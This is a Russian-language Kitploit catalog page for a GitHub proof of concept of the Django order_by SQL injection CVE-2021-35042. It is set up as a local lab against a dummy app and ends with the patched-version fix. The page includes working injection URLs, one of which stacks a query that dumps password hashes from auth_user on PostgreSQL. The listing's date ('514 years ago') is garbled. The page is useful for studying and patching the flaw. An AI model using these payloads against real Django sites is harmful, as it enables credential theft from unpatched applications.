Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-35042 — Интерактивное доказательство концепции, демонстрирующее SQL-инъекцию в Django (CVE-2021-35042), с пошаговой эксплуатацией против баз данных SQLite и PostgreSQL. | Kitploit
Инструменты/GitHubGitHub/r4vi/cve-2021-35042
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность Баз Данных
GitHubr4vi/cve-2021-35042

CVE-2021-35042

Интерактивное доказательство концепции, демонстрирующее SQL-инъекцию в Django (CVE-2021-35042), с пошаговой эксплуатацией против баз данных SQLite и PostgreSQL.

Репозиторий
514 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-35042

Ошибка SQL-инъекции в Django

Вопрос: насколько это эксплуатируемо?

Ответ: я в ужасе

Установка

poetry install

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

Интерактивная демонстрация

poetry run ./manage.py runserver

Сортировка по случайным полям

перейдите по адресу http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22 обратите внимание, что параметр ?order_by передает сырую SQL-ссылку на столбец "core_things_tags"."things_id"

завершите первый запрос и попробуйте выполнить некоторый SQL

Это, пожалуй, максимально возможный предел: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- что закрывает первый SQL-запрос и приводит к следующему SQL:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()

что завершается ошибкой:

root@kitploit:~
Warning at /
You can only execute one statement at a time.

это просто потому, что sqlite может выполнять только один запрос за раз

повторное выполнение второго запроса с postgres

root@kitploit:~
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

poetry run ./manage.py createsuperuser # follow prompts

посетите: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

что выполняет следующий SQL:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;

теперь вы можете делать практически всё. Этот запрос крадёт хэш пароля каждого пользователя.

Обновление до неуязвимой версии

теперь временно обновите django

poetry shell

pip install Django==3.2.5

повторно посетите указанный выше URL и обратите внимание, что он больше не работает:

root@kitploit:~
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
Скачать инструмент